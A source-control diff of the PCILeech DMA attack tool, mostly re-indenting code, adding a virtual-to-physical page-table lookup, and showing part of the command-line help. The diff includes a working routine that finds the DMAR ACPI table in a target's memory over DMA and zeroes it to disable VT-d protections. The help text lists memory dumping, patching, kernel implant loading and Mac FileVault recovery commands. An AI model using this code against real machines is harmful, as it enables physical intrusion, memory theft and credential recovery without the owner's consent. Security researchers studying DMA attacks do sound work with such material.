Action_MacDisableVtd(_Inout_ PPCILEECH_CONTEXT ctx) { - PBYTE pb16M; - BYTE ZERO16[16] = { 0 }; - DWORD i, j, dwAddress, dwOffsets[] = { - 0x8a000000, 0x8b000000, 0x8c000000, 0x8d000000, 0x89000000, 0x88000000, 0x87000000, 0x86000000 - }; - // Allocate 16 MB buffer - if(!(pb16M = LocalAlloc(LMEM_ZEROINIT, 0x01000000))) { - printf("MAC_DISABLE_VTD: FAILED. Unable to allocate memory.\n"); - return; - } - // Wait for DMA read access to target computer. - printf("MAC_DISABLE_VTD: WAITING for DMA access ...\n"); - Util_WaitForPowerOn(ctx); - // DMAR table assumed to be on page boundary. This doesn't have to be true, - // but it seems like it is on the MACs. - for(i = 0; i < sizeof(dwOffsets) / sizeof(DWORD); i++) { - if(DeviceReadDMAEx(ctx, dwOffsets[i], pb16M, 0x01000000, NULL, PCILEECH_FLAG_MEM_EX_FASTFAIL)) { - for(j = 0; j < 0x01000000; j += 0x1000) { - if(*(PQWORD)(pb16M + j) == 0x0000008852414d44) { - dwAddress = dwOffsets[i] + j; - if(DeviceWriteDMA(ctx, dwAddress, ZERO16, 16, PCILEECH_MEM_FLAG_RETRYONFAIL)) { - printf("MAC_DISABLE_VTD: VT-d DMA protections should now be disabled ...\n"); - printf("MAC_DISABLE_VTD: DMAR ACPI table found and removed at: 0x%08x\n", dwAddress); - LocalFree(pb16M); - return; - } - } - } - } - } - LocalFree(pb16M); - printf("MAC_DISABLE_VTD: Failed to disable VT-d DMA protections.\n"); + PBYTE pb16M; + BYTE ZERO16[16] = { 0 }; + DWORD i, j, dwAddress, dwOffsets[] = { + 0x8a000000, 0x8b000000, 0x8c000000, 0x8d000000, 0x89000000, 0x88000000, 0x87000000, 0x86000000 + }; + // Allocate 16 MB buffer + if(!(pb16M = LocalAlloc(LMEM_ZEROINIT, 0x01000000))) { + printf("MAC_DISABLE_VTD: FAILED. Unable to allocate memory.\n"); + return; + } + // Wait for DMA read access to target computer. + printf("MAC_DISABLE_VTD: WAITING for DMA access ...\n"); + Util_WaitForPowerOn(ctx); + // DMAR table assumed to be on page boundary. This doesn't have to be true, + // but it seems like it is on the MACs. + for(i = 0; i < sizeof(dwOffsets) / sizeof(DWORD); i++) { + if(DeviceReadDMAEx(ctx, dwOffsets[i], pb16M, 0x01000000, NULL, PCILEECH_FLAG_MEM_EX_FASTFAIL)) { + for(j = 0; j < 0x01000000; j += 0x1000) { + if(*(PQWORD)(pb16M + j) == 0x0000008852414d44) { + dwAddress = dwOffsets[i] + j; + if(DeviceWriteDMA(ctx, dwAddress, ZERO16, 16, PCILEECH_MEM_FLAG_RETRYONFAIL)) { + printf("MAC_DISABLE_VTD: VT-d DMA protections should now be disabled ...\n"); + printf("MAC_DISABLE_VTD: DMAR ACPI table found and removed at: 0x%08x\n", dwAddress); + LocalFree(pb16M); + return; + } + } + } + } + } + LocalFree(pb16M); + printf("MAC_DISABLE_VTD: Failed to disable VT-d DMA protections.\n"); } VOID Action_PT_Phys2Virt(_Inout_ PPCILEECH_CONTEXT ctx) { - BOOL result; - QWORD qwVA, qwPTE, qwPDE, qwPDPTE, qwPML4E; - printf("PT_PHYS2VIRT: searching ... (this may take some time).\n"); - result = Util_PageTable_FindMappedAddress(ctx, ctx->cfg->qwCR3, ctx->cfg->qwDataIn[0], &qwVA, &qwPTE, &qwPDE, &qwPDPTE, &qwPML4E); - if(result) { - printf("PT_PHYS2VIRT: finished.\n"); - printf(" 0x00000000FFFFFFFF\n"); - printf(" PA: 0x%016llx\n", ctx->cfg->qwDataIn[0]); - printf(" VA: 0x%016llx\n", qwVA); - printf(" PTE: 0x%016llx\n", qwPTE); - printf(" PDE: 0x%016llx\n", qwPDE); - printf(" PDPTE: 0x%016llx\n", qwPDPTE); - printf(" PML4E: 0x%016llx\n", qwPML4E); - } else { - printf("PT_PHYS2VIRT: Failed.\n"); - } + BOOL result; + QWORD qwVA, qwPTE, qwPDE, qwPDPTE, qwPML4E; + printf("PT_PHYS2VIRT: searching ... (this may take some time).\n"); + result = Util_PageTable_FindMappedAddress(ctx, ctx->cfg->qwCR3, ctx->cfg->qwDataIn[0], &qwVA, &qwPTE, &qwPDE, &qwPDPTE, &qwPML4E); + if(result) { + printf("PT_PHYS2VIRT: finished.\n"); + printf(" 0x00000000FFFFFFFF\n"); + printf(" PA: 0x%016llx\n", ctx->cfg->qwDataIn[0]); + printf(" VA: 0x%016llx\n", qwVA); + printf(" PTE: 0x%016llx\n", qwPTE); + printf(" PDE: 0x%016llx\n", qwPDE); + printf(" PDPTE: 0x%016llx\n", qwPDPTE); + printf(" PML4E: 0x%016llx\n", qwPML4E); + } else { + printf("PT_PHYS2VIRT: Failed.\n"); + } +} + +VOID Action_PT_Virt2Phys(_Inout_ PPCILEECH_CONTEXT ctx) +{ + BOOL result; + QWORD qwPA, qwPageBase, qwPageSize; + result = Util_PageTable_Virtual2Physical(ctx, ctx->cfg->qwCR3, ctx->cfg->qwDataIn[0], &qwPA, &qwPageBase, &qwPageSize); + if(result) { + printf("PT_VIRT2PHYS: Successful.\n"); + printf(" 0x00000000FFFFFFFF\n"); + printf(" VA: 0x%016llx\n", ctx->cfg->qwDataIn[0]); + printf(" PA: 0x%016llx\n", qwPA); + printf(" PG SIZE: 0x%016llx\n", qwPageSize); + printf(" PG BASE PA: 0x%016llx\n", qwPageBase); + printf(" CR3/PML4: 0x%016llx\n", ctx->cfg->qwCR3); + } else { + printf("PT_VIRT2PHYS: Failed.\n"); + } } VOID Action_TlpTx(_Inout_ PPCILEECH_CONTEXT ctx) { - if(ctx->cfg->cbIn < 12) { - printf("Action_TlpTx: Invalid TLP (too short).\n"); - return; - } - if(ctx->cfg->cbIn % 4) { - printf("Action_TlpTx: Invalid TLP (length not multiple of 4).\n"); - return; - } - printf("TLP: Transmitting PCIe TLP.%s\n", ctx->cfg->fVerboseExtra ? "" : " (use -vv option for detailed info)."); - DeviceWriteTlp(ctx, ctx->cfg->pbIn, (DWORD)ctx->cfg->cbIn); - DeviceListenTlp(ctx, 100); + if(ctx->cfg->cbIn < 12) { + printf("Action_TlpTx: Invalid TLP (too short).\n"); + return; + } + if(ctx->cfg->cbIn % 4) { + printf("Action_TlpTx: Invalid TLP (length not multiple of 4).\n"); + return; + } + printf("TLP: Transmitting PCIe TLP.%s\n", ctx->cfg->fVerboseExtra ? "" : " (use -vv option for detailed info)."); + DeviceWriteTlp(ctx, ctx->cfg->pbIn, (DWORD)ctx->cfg->cbIn); + DeviceListenTlp(ctx, 100); } diff --git a/pcileech/extra.h b/pcileech/extra.h index b5b319c..b165123 100644 --- a/pcileech/extra.h +++ b/pcileech/extra.h @@ -1,6 +1,6 @@ // extra.h : definitions related to various extra functionality such as exploits. // -// (c) Ulf Frisk, 2016, 2017 +// (c) Ulf Frisk, 2016-2018 // Author: Ulf Frisk, pcileech@frizk.net // #ifndef __EXTRA_H__ @@ -33,6 +33,12 @@ VOID Action_MacDisableVtd(_Inout_ PPCILEECH_CONTEXT ctx); */ VOID Action_PT_Phys2Virt(_Inout_ PPCILEECH_CONTEXT ctx); +/* +* Search for the physical address that is mapped by a virtual address given a page table base. +* -- ctx +*/ +VOID Action_PT_Virt2Phys(_Inout_ PPCILEECH_CONTEXT ctx); + /* * Transmit the TLP data specified in the -in parameter. * -- ctx diff --git a/pcileech/help.c b/pcileech/help.c index 8ef57d0..5110c74 100644 --- a/pcileech/help.c +++ b/pcileech/help.c @@ -1,6 +1,6 @@ // help.c : implementation related to displaying help texts. // -// (c) Ulf Frisk, 2016, 2017 +// (c) Ulf Frisk, 2016-2018 // Author: Ulf Frisk, pcileech@frizk.net // #include "help.h" @@ -8,504 +8,546 @@ VOID ShowListFiles(_In_ LPSTR szSearchPattern) { - WIN32_FIND_DATAA data; - HANDLE h; - CHAR szSearch[MAX_PATH]; - Util_GetFileInDirectory(szSearch, szSearchPattern); - h = FindFirstFileA(szSearch, &data); - while(h != INVALID_HANDLE_VALUE) { - data.cFileName[strlen(data.cFileName) - 4] = 0; - printf(" %s\n", data.cFileName); - if(!FindNextFileA(h, &data)) { - return; - } - } + WIN32_FIND_DATAA data; + HANDLE h; + CHAR szSearch[MAX_PATH]; + Util_GetFileInDirectory(szSearch, szSearchPattern); + h = FindFirstFileA(szSearch, &data); + while(h != INVALID_HANDLE_VALUE) { + data.cFileName[strlen(data.cFileName) - 4] = 0; + printf(" %s\n", data.cFileName); + if(!FindNextFileA(h, &data)) { + return; + } + } } VOID Help_ShowGeneral() { - printf( - " PCILEECH COMMAND LINE REFERENCE \n" \ - " PCILeech can run in two modes - DMA (default) and Kernel Module Assisted (KMD)\n" \ - " KMD mode may be triggered by supplying the option kmd and optionally cr3 / pt.\n" \ - " If an address is supplied in the kmd option pcileech will use the already ins-\n" \ - " erted KMD. The already inserted KMD will be left intact upon exit. If the KMD\n" \ - " contains a kernel mode signature the kernel module will be loaded and then un-\n" \ - " loaded on program exit ( except for the kmdload command ). \n" \ - " KMD mode may access all memory (available to the kernel of the target system).\n" \ - " DMA mode may only access lower 4GB of memory if USB3380 hardware is used. \n" \ - " DMA mode may access all memory if FPGA based hardware is used such as the: \n" \ - " SP605, AC701 and PCIeScreamer. \n" \ - " For detailed help about a specific command type: pcileech.exe -help\n" \ - " General syntax: pcileech.exe [- ] ... \n" \ - " Valid commands and valid MODEs [ and options ] \n" \ - " info DMA,KMD \n" \ - " dump DMA,KMD [ min, max, out ] \n" \ - " patch DMA,KMD [ min, max, sig, all ] \n" \ - " write DMA,KMD [ min, in ] \n" \ - " search DMA,KMD [ min, max, sig, in, all ] \n" \ - " [implant] KMD [ in, out, s, 0..9 ] \n" \ - " kmdload DMA [ pt, cr3 ] \n" \ - " kmdexit KMD \n" \ - " mount KMD [ s ] (Windows only feature) \n" \ - " display DMA,KMD [ min, max ] \n" \ - " pagedisplay DMA,KMD [ min ] \n" \ - " pt_phys2virt DMA,KMD [ cr3, 0 ] \n" \ - " testmemread DMA [ min ] \n" \ - " testmemreadwrite DMA [ min ] \n" \ - " Device specific commands and valid MODEs [ and options ] (and device): \n" \ - " usb3380_flash DMA,KMD [ in ] (USB3380) \n" \ - " usb3380_8051start DMA,KMD [ in ] (USB3380) \n" \ - " usb3380_8051stop DMA,KMD (USB3380) \n" \ - " tlp DMA [ in ] (FPGA) \n" \ - " probe DMA [ in ] (FPGA) \n" \ - " System specific commands and valid MODEs [ and options ]: \n" \ - " mac_fvrecover DMA \n" \ - " mac_fvrecover2 DMA \n" \ - " mac_disablevtd DMA \n" \ - " Valid options: \n" \ - " -min : memory min address, valid range: 0x0 .. 0xffffffffffffffff \n" \ - " default: 0x0 \n" \ - " -max : memory max address, valid range: 0x0 .. 0xffffffffffffffff \n" \ - " default: (FPGA = no limit, USB3380 = 4GB) \n" \ - " -out : name of output file. \n" \ - " default: pcileech----